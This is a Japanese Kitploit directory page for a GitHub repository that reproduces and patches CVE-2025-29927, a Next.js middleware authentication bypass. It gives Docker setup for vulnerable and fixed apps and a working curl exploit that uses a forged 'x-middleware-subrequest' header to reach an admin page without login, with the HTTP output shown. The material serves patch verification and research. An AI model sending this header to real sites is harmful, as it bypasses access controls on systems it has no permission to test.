Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-29927 — Reproduction and fix of the CVE-2025-29927 vulnerability. | Kitploit
ツール/GitHubGitHub/bongni/cve-2025-29927
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubbongni/cve-2025-29927

CVE-2025-29927

Reproduction and fix of the CVE-2025-29927 vulnerability.

リポジトリを見る
18ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-29927

CVE-2025-29927 脆弱性の再現と修正。

root@kitploit:~
git clone [email protected]/Bongni/CVE-2025-29927.git
cd CVE-2025-29927

vulnerable/ ディレクトリには、攻撃に対して脆弱なバージョンのアプリケーションがあります。fixed/ ディレクトリには、脆弱性を修正した最小バージョンにアップグレードされたアプリケーションがあります。

⚠️ 重要: これらのサンプルは、防御担当者、研究者、パッチ適用の検証を行うチーム向けに提供されています。これらのイメージを公開ネットワークや本番環境で実行しないでください。所有しているシステム、または明示的な許可を得たシステムでのみテストしてください。

脆弱なバージョン

CVE-2025-29927 脆弱性の再現。

Docker コンテナのビルドと起動

root@kitploit:~
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln

エクスプロイトの実行

以下のコマンドを実行します。ログインページにリダイレクトされるはずです。

root@kitploit:~
curl -i http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

次に以下のコマンドを実行します。管理ページにアクセスできるはずです。

root@kitploit:~
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

...

修正済みバージョン

CVE-2025-29927 脆弱性の修正。

Docker コンテナのビルドと起動

root@kitploit:~
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed

エクスプロイトの実行

以下のコマンドを実行します。ログインページにリダイレクトされるはずです。

root@kitploit:~
curl -i http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

次に以下のコマンドを実行します。今度もログインページにリダイレクトされるはずです。

root@kitploit:~
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

参考資料

このリポジトリは l1uk/nextjs-middleware-exploit を基にしていますが、Next.js の 15.x バージョン向けに適合されています。

ツールをダウンロード